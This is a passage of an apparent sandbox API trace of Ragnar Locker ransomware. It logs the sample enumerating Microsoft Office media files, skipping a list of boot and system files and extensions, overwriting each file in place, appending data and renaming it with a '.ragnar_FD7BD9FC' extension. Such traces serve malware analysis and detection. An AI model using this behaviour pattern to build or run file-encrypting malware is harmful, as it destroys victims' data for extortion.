Office\\MEDIA\\CAGCAT10\\J0216724.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" [0095.640] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF.ragnar_FD7BD9FC" [0095.640] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.641] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825cf700, ftCreationTime.dwHighDateTime=0x1be6c1b, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x825cf700, ftLastWriteTime.dwHighDateTime=0x1be6c1b, nFileSizeHigh=0x0, nFileSizeLow=0x2dc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216858.WMF", cAlternateFileName="")) returned 1 [0095.641] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.641] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0216858.WMF" | out: lpString1="J0216858.WMF") returned="J0216858.WMF" [0095.641] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF") returned=".WMF" [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="autorun.inf") returned 1 [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="boot.ini") returned 1 [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="bootfont.bin") returned 1 [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="bootsect.bak") returned 1 [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="bootmgr") returned 1 [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="bootmgr.efi") returned 1 [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="bootmgfw.efi") returned 1 [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="desktop.ini") returned 1 [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="iconcache.db") returned 1 [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="ntldr") returned -1 [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="ntuser.dat") returned -1 [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="ntuser.dat.log") returned -1 [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="ntuser.ini") returned -1 [0095.641] lstrcmpiW (lpString1="J0216858.WMF", lpString2="thumbs.db") returned -1 [0095.641] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.641] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.641] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.641] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.642] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.642] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.642] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf")) returned 0x20 [0095.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.642] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11716) returned 1 [0095.642] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2dbb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.642] GetProcessHeap () returned 0x580000 [0095.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.642] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.644] VirtualAlloc (lpAddress=0x0, dwSize=0x2dc4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.644] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.644] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.644] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2dc4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2dc4, lpOverlapped=0x0) returned 1 [0095.646] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.646] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2dc4, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.646] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2dc4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2dc4, lpOverlapped=0x0) returned 1 [0095.646] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2dc4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.646] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.647] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.647] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.647] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.647] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.647] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.647] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.647] GetProcessHeap () returned 0x580000 [0095.647] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.647] CloseHandle (hObject=0x104) returned 1 [0095.647] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" [0095.647] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF.ragnar_FD7BD9FC" [0095.647] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.648] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb3500, ftCreationTime.dwHighDateTime=0x1be6c1d, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8cb3500, ftLastWriteTime.dwHighDateTime=0x1be6c1d, nFileSizeHigh=0x0, nFileSizeLow=0x1aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217698.WMF", cAlternateFileName="")) returned 1 [0095.648] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.648] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0217698.WMF" | out: lpString1="J0217698.WMF") returned="J0217698.WMF" [0095.648] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF") returned=".WMF" [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="autorun.inf") returned 1 [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="boot.ini") returned 1 [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="bootfont.bin") returned 1 [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="bootsect.bak") returned 1 [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="bootmgr") returned 1 [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="bootmgr.efi") returned 1 [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="bootmgfw.efi") returned 1 [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="desktop.ini") returned 1 [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="iconcache.db") returned 1 [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="ntldr") returned -1 [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="ntuser.dat") returned -1 [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="ntuser.dat.log") returned -1 [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="ntuser.ini") returned -1 [0095.648] lstrcmpiW (lpString1="J0217698.WMF", lpString2="thumbs.db") returned -1 [0095.648] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.648] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.648] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.648] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.648] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.648] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.648] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf")) returned 0x20 [0095.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.649] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6890) returned 1 [0095.649] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1ae1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.649] GetProcessHeap () returned 0x580000 [0095.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.649] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.651] VirtualAlloc (lpAddress=0x0, dwSize=0x1aea, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.651] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.651] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.651] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1aea, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1aea, lpOverlapped=0x0) returned 1 [0095.652] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.652] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1aea, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.652] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1aea, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1aea, lpOverlapped=0x0) returned 1 [0095.652] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1aea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.652] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.652] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1aea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.652] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.652] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.652] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.653] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.653] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.653] GetProcessHeap () returned 0x580000 [0095.653] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.653] CloseHandle (hObject=0x104) returned 1 [0095.653] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" [0095.653] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF.ragnar_FD7BD9FC" [0095.653] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.654] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfdb600, ftCreationTime.dwHighDateTime=0x1be7a36, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bfdb600, ftLastWriteTime.dwHighDateTime=0x1be7a36, nFileSizeHigh=0x0, nFileSizeLow=0x3838, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0221903.WMF", cAlternateFileName="")) returned 1 [0095.654] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.654] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0221903.WMF" | out: lpString1="J0221903.WMF") returned="J0221903.WMF" [0095.654] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF") returned=".WMF" [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="autorun.inf") returned 1 [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="boot.ini") returned 1 [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="bootfont.bin") returned 1 [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="bootsect.bak") returned 1 [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="bootmgr") returned 1 [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="bootmgr.efi") returned 1 [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="bootmgfw.efi") returned 1 [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="desktop.ini") returned 1 [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="iconcache.db") returned 1 [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="ntldr") returned -1 [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="ntuser.dat") returned -1 [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="ntuser.dat.log") returned -1 [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="ntuser.ini") returned -1 [0095.654] lstrcmpiW (lpString1="J0221903.WMF", lpString2="thumbs.db") returned -1 [0095.654] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.654] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.654] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.654] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.654] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.654] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.654] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf")) returned 0x20 [0095.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.655] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14392) returned 1 [0095.655] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x382f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.655] GetProcessHeap () returned 0x580000 [0095.655] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.655] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.656] VirtualAlloc (lpAddress=0x0, dwSize=0x3838, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.657] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.657] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.657] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3838, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3838, lpOverlapped=0x0) returned 1 [0095.658] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.658] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3838, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.658] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3838, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3838, lpOverlapped=0x0) returned 1 [0095.658] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3838, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.658] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.658] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x3838, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.658] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.658] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.658] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.659] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.659] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.659] GetProcessHeap () returned 0x580000 [0095.659] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.659] CloseHandle (hObject=0x104) returned 1 [0095.659] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" [0095.659] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF.ragnar_FD7BD9FC" [0095.659] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft 